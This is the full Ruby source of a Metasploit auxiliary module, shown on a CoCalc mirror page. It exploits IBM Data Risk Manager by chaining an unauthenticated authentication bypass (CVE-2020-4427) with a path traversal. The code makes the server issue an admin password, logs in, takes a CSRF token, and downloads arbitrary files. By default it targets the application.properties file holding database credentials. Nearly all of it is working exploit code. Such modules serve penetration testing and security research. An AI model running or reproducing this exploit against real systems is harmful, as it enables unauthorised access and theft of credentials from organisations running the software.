CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/ibm_drm_download.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'IBM Data Risk Manager Arbitrary File Download',
16
'Description' => %q{
17
IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by
18
an unauthenticated attacker to download arbitrary files off the system.
19
The first is an unauthenticated bypass, followed by a path traversal.
20
This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.
21
A downloaded file is zipped, and this module also unzips it before storing it in the database.
22
By default this module downloads Tomcat's application.properties files, which contains the
23
database password, amongst other sensitive data.
24
At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.
25
Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.
26
},
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
29
],
30
'License' => MSF_LICENSE,
31
'DefaultOptions' => {
32
'SSL' => true
33
},
34
'References' => [
35
[ 'CVE', '2020-4427' ], # auth bypass
36
[ 'CVE', '2020-4429' ], # insecure default password
37
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
38
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
39
[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']
40
],
41
'DisclosureDate' => '2020-04-21',
42
'Actions' => [
43
['Download', { 'Description' => 'Download arbitrary file' }]
44
],
45
'DefaultAction' => 'Download',
46
'Notes' => {
47
'Reliability' => [ ],
48
'Stability' => [ CRASH_SAFE ],
49
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
50
}
51
)
52
)
53
54
register_options(
55
[
56
Opt::RPORT(8443),
57
OptString.new('TARGETURI', [ true, 'Default server path', '/']),
58
OptString.new('FILEPATH', [
59
false, 'Path of the file to download',
60
'/home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties'
61
])
62
]
63
)
64
end
65
66
def check
67
# at the moment there is no better way to detect AND be stealthy about it
68
session_id = Rex::Text.rand_text_alpha(5..12)
69
res = send_request_cgi({
70
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
71
'method' => 'GET',
72
'vars_get' => {
73
'id' => session_id,
74
'userName' => 'admin'
75
}
76
})
77
if res && (res.code == 302)
78
return Exploit::CheckCode::Detected
79
end
80
81
Exploit::CheckCode::Unknown
82
end
83
84
def create_session_id
85
# step 1: create a session ID and try to make it stick
86
session_id = Rex::Text.rand_text_alpha(5..12)
87
res = send_request_cgi({
88
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
89
'method' => 'GET',
90
'vars_get' => {
91
'id' => session_id,
92
'userName' => 'admin'
93
}
94
})
95
if res && (res.code != 302)
96
fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
97
end
98
99
print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")
100
101
session_id
102
end
103
104
def free_the_admin(session_id)
105
# step 2: give the session ID to the server and have it grant us a free admin password
106
post_data = Rex::MIME::Message.new
107
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
108
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
109
post_data.add_part('admin', nil, nil, 'form-data; name="username"')
110
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
111
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')
112
113
res = send_request_cgi({
114
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
115
'method' => 'POST',
116
'data' => post_data.to_s,
117
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
118
})
119
120
unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]
121
fail_with(Failure::NoAccess, "#{peer} - Failed to obtain the admin password.")
122
end
123
124
password = Regexp.last_match(1)
125
print_good("#{peer} - We have obtained a new admin password #{password}")
126
127
password
128
end
129
130
def login_and_csrf(password)
131
# step 3: login and get an authenticated cookie
132
res = send_request_cgi({
133
'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'),
134
'method' => 'POST',
135
'vars_post' => {
136
'userName' => 'admin',
137
'password' => password
138
}
139
})
140
unless res && (res.code == 302) && res.get_cookies
141
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as an admin.")
142
end
143
144
print_good("#{peer} - ... and are authenticated as an admin!")
145
cookie = res.get_cookies
146
url = res.redirection.to_s
147
148
# step 4: obtain CSRF header in order to be able to make valid requests
149
res = send_request_cgi({
150
'uri' => url,
151
'method' => 'GET',
152
'cookie' => cookie
153
})
154
155
unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/
156
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate obtain CSRF cookie.")
157
end
158
csrf = Regexp.last_match(1)
159
160
return cookie, csrf
161
end
162
163
def run
164
# step 1: create a session ID and try to make it stick
165
session_id = create_session_id
166
167
# step 2: give the session ID to the server and have it grant us a free admin password
168
password = free_the_admin(session_id)
169
170
# step 3: login and get an authenticated cookie
171
# step 4: obtain CSRF header in order to be able to make valid requests
172
cookie, csrf = login_and_csrf(password)
173
174
# step 5: download the file!
175
post_data = {
176
'instanceId' => 'local_host',
177
'logLevel' => 'DEBUG',
178
'logFileNameList' => "../../../../..#{datastore['FILEPATH']}"
179
}.to_json
180
181
res = send_request_cgi({
182
'uri' => normalize_uri(target_uri.path, 'albatross', 'eurekaservice', 'fetchLogFiles'),
183
'method' => 'POST',
184
'cookie' => cookie,
185
'headers' => { 'CSRF-TOKEN' => csrf },
186
'data' => post_data.to_s,
187
'ctype' => 'text/json'
188
})
189
190
unless res && (res.code == 200) && !res.body.empty?
191
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
192
end
193
194
Zip::File.open_buffer(res.body) do |zipfile|
195
# Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't
196
# happen? Either we get nothing or a proper zip file.
197
file = zipfile.find_entry(File.basename(datastore['FILEPATH']))
198
unless file
199
fail_with(Failure::Unknown, "#{peer} - Incorrect file downloaded!")
200
end
201
202
filedata = zipfile.read(file)
203
vprint_line(filedata.to_s)
204
fname = File.basename(datastore['FILEPATH'])
205
206
path = store_loot(
207
'IBM_DRM.http',
208
'application/octet-stream',
209
rhost,
210
filedata,
211
fname
212
)
213
print_good("File saved in: #{path}")
214
end
215
end
216
end
217
218